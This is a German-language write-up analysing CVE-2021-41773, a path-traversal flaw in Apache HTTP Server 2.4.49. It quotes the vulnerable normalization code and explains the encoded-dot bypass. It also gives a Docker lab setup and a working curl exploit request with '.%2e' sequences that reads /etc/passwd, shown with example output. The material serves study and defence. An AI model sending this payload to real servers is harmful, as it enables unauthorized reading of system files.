
PoC und Analyse von CVE-2021-41773
CVE-2021-41773 ist eine Path-Traversal-Schwachstelle, die den Apache HTTP Server 2.4.49 betrifft.
Die Schwachstelle ermöglicht es einem Angreifer, unter bestimmten Konfigurationen auf Dateien außerhalb des vorgesehenen Verzeichnisses zuzugreifen, insbesondere wenn Verzeichnisse über Alias, ScriptAlias oder andere Alias-ähnliche Direktiven freigegeben werden.
Die Schwachstelle beruht auf einer fehlerhaften Behandlung der URL-Pfadnormalisierung und -Kanonisierung. Apache führte Sicherheitsprüfungen an einer Pfaddarstellung durch, die weiterhin kodierte Zeichen enthalten konnte, sodass Angreifer die Traversal-Erkennung mithilfe kodierter Punktfolgen umgehen konnten.
Ein Angreifer kann eine manipulierte URL mit kodierten Traversal-Sequenzen wie:
.%2e
erstellen, wobei:
%2e = .
Daher wird:
.%2e
nach der Dekodierung zu:
..
Wenn Apache die kodierte Darstellung prüft, bevor er sie in ihre kanonische Form auflöst, kann die Traversal-Prüfung umgangen werden.
Eine erfolgreiche Ausnutzung kann es einem Angreifer ermöglichen, beliebige Dateien aus dem Dateisystem zu lesen.
Beispielziel:
/etc/passwd
Die verwundbare Logik befindet sich in:
server/util.c
innerhalb von:
ap_normalize_path()
Verwundbarer Code von Apache 2.4.49:
if (path[l] == '.') {
/* Remove /./ segments */
if (IS_SLASH_OR_NUL(path[l + 1])) {
l++;
if (path[l]) {
l++;
}
continue;
}
/* Remove /xx/../ segments */
if (path[l + 1] == '.' && IS_SLASH_OR_NUL(path[l + 2])) {
/* Wind w back to remove the previous segment */
if (w > 1) {
do {
w--;
} while (w && !IS_SLASH(path[w - 1]));
}
else {
/* Already at root, ignore and return a failure
* if asked to.
*/
if (flags & AP_NORMALIZE_NOT_ABOVE_ROOT) {
ret = 0;
}
}
/* Move l forward to the next segment */
l += 2;
if (path[l]) {
l++;
}
continue;
}
}
Der verwundbare Code versucht, Directory-Traversal-Muster zu erkennen:
../
indem er auf aufeinanderfolgende Punkte prüft:
path[l + 1] == '.'
Ein Angreifer kann jedoch eine kodierte Traversal-Sequenz bereitstellen:
/.%2e/
Zum Zeitpunkt der Normalisierungsprüfung verarbeitet Apache:
.%2e
anstelle von:
..
Da:
%2e != .
erkennt die Traversal-Erkennungslogik die Sequenz nicht als:
../
Der Pfad wird anschließend in seiner dekodierten Form interpretiert, wodurch das Traversal ausgeführt werden kann.
Das verwundbare Verhalten lässt sich wie folgt darstellen:
HTTP Request
|
v
Path normalization / traversal validation
|
v
URL decoding / canonicalization
|
v
Filesystem access
Die Sicherheitsentscheidung wird getroffen, bevor der Pfad seine endgültige kanonische Darstellung erreicht.
Ein sichererer Ansatz ist:
HTTP Request
|
v
URL decoding
|
v
Path normalization
|
v
Traversal validation
|
v
Filesystem access
Sicherheitsprüfungen sollten immer anhand der endgültig normalisierten Darstellung durchgeführt werden.
git clone https://github.com/tr3m0x/CVE-2021-41773.git
cd CVE-2021-41773
docker build -t apache-cve-2021-41773 .
docker run -d \
--name apache-vulnerable \
-p 8989:80 \
apache-cve-2021-41773
Senden Sie eine Anfrage mit einer kodierten Traversal-Sequenz:
curl --path-as-is \
"http://localhost:8989/icons/.%2e/.%2e/.%2e/.%2e/etc/passwd"
Eine erfolgreiche Ausnutzung gibt den Inhalt folgender Datei zurück:
/etc/passwd
Beispiel:
root:x:0:0:root:/root:/bin/bash
Eine 403 Forbidden-Antwort bedeutet nicht zwangsläufig, dass die Ausnutzung fehlgeschlagen ist.
Während des Tests kann Apache Folgendes erfolgreich normalisieren:
/icons/.%2e/.%2e/.%2e/.%2e/etc/passwd
zu:
/etc/passwd
den Zugriff jedoch aufgrund von Dateisystemberechtigungen oder Apache-Autorisierungsregeln verweigern.
Beispiel:
client denied by server configuration: /etc/passwd
Dies deutet darauf hin, dass das Traversal erfolgreich ausgeführt wurde, die Zugriffskontrolle die Offenlegung der Datei jedoch verhindert hat.
CVE-2021-41773 ist ein klassisches Beispiel für eine Kanonisierungsschwachstelle.
Benutzergesteuerte Eingaben können mehrere Darstellungen haben:
.%2e
und:
..
Obwohl sie unterschiedlich aussehen, repräsentieren sie dieselbe Pfadkomponente.
Sicherheitsprüfungen müssen immer nach der Dekodierung und Normalisierung durchgeführt werden. Die Validierung einer kodierten oder mehrdeutigen Darstellung kann zu Sicherheitsumgehungen führen.